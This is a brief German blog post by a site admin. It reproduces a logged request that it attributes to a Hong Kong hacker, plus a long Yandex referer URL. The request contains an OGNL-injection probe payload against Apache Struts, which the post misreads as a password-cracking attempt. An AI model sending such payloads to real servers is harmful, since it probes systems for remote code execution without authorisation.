Hongkong Hacker sieht Fehler 401

Entdeckt und publiziert am 15.06.2017 von Admin

Was manche Leute für Klimmzüge machen, um die Passwortabfrage für den Login-Bereich zu knacken! Diese überlange Anforderung schickt ein Hacker aus Hongkong (HTTP-Request erweitert um Datum, Uhrzeit, IP-Adresse, Returncode):

15/Jun/2017 13:52:45 119.28.63.134 HTTP-Code = 401
Request='xgate.spiritgate.de/index.php?redirect:$%7B%23matt%3d%20%23context
.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setC
ontentType('text/plain'),%23matt.getWriter().println%20('successsuccess'),%
23matt.getWriter().flush(),%23matt.getWriter().close()%7D'

Der Standort Hongkong wird von IP2LOCATION für die angegebene IP-Adresse ausgegeben.

Was die Länge des Requests angeht, wird das aber noch getoppt von der Referer-Adresse, die ein Russe angibt. yandex.ru schickt z. B. Folgendes an den Apache-Server:

http://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B&text=&ete
xt=968.1C9tJsfrTq5Lrwp49qyDnHH0SPBlQIYNY7i8aOKEDkQ.ced4947a3aa27144c249cbf3
60b0f97af81dd768&uuid=&state=AiuY0DBWFJ4ePaEse6rgeAjgs2pI3DW9J0KiE5XNXd0dp0
ZMwFHoviUoYa6nzP7MFsomsouu4qduaTv_1vE3YoKCRq4lUcSs_6uo1El1X4wRQcSEEG_Rtsq6R
e1Y-oRPuEFBl1Q84h4ubI7cQvGQapLwzxIQoQydil8tP0d5xV4ZdUyRwEObCEzWPEhFPhWpkbvs
hNLCM64XalVsJ2M49A&data=UlNrNmk5WktYejR0eWJFYk1LdmtxdjhsR1UtUTJGR0kydzM2TWU
wY24xWkZWX3NzWmduUUVhck11aXNzd3ljMHlRWUF4bEVuOERSUGRhcXZpeUZsSEhuRHhzRElXTk
pl&b64e=2&sign=d1ef409629ee4ee5fe5b4a671f0c98aa&keyno=0&l10n=ru&cts=1455795
666652&mc=1.89984569722

Welchen Zweck das wohl hat?

Datum: 15.06.17